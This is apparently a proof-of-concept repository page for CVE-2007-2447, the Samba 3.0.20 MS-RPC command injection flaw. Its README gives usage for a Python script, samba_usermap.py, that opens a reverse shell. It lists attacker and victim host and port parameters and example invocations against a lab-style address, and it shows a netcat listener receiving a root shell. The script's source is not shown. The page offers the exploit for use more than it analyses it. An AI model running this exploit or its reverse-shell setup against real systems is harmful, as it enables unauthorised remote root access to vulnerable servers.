CVE-2007-2447 PoC — Samba MS-RPC Shell命令注入漏洞

Source

Associated Vulnerability

Description

Samba 3.0.20

Readme

## This exploit helps you to get a reverse shell, exploting Samba 3.0.20 < 3.0.25

· When executing the script with python3 with the --help parameter, it asks us for a series of parameters

     --lhost LHOST  your host   (ip where the shell will be received)
     --lport LPORT  your port   (port where the shell will be received)
     --rhost RHOST  remote host  (ip of the victim machine)
     --rport RPORT  remote port  (port of the victim machine)

· Before run the script do this

    pip3 install pysmb
  
· Example

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139

· Or you can do 

    python3 samba_usermap.py --lh 10.10.14.12 --lp 443 --rh 10.10.10.3 --rp 139

· Example of how the script work

    python3 samba_usermap.py --lhost 10.10.14.12 --lport 443 --rhost 10.10.10.3 --rport 139 

· We receive the shell

    ❯ nc -nlvp 443
      listening on [any] 443 ...
      connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 57498
      whoami
      root
    

File Snapshot

 [4.0K]  /data/pocs/167ab209f6868ab0ae5153054c51b8e7f8e954aa
├── [1023]  README.md
└── [1.1K]  samba_usermap.py

0 directories, 2 files

Remarks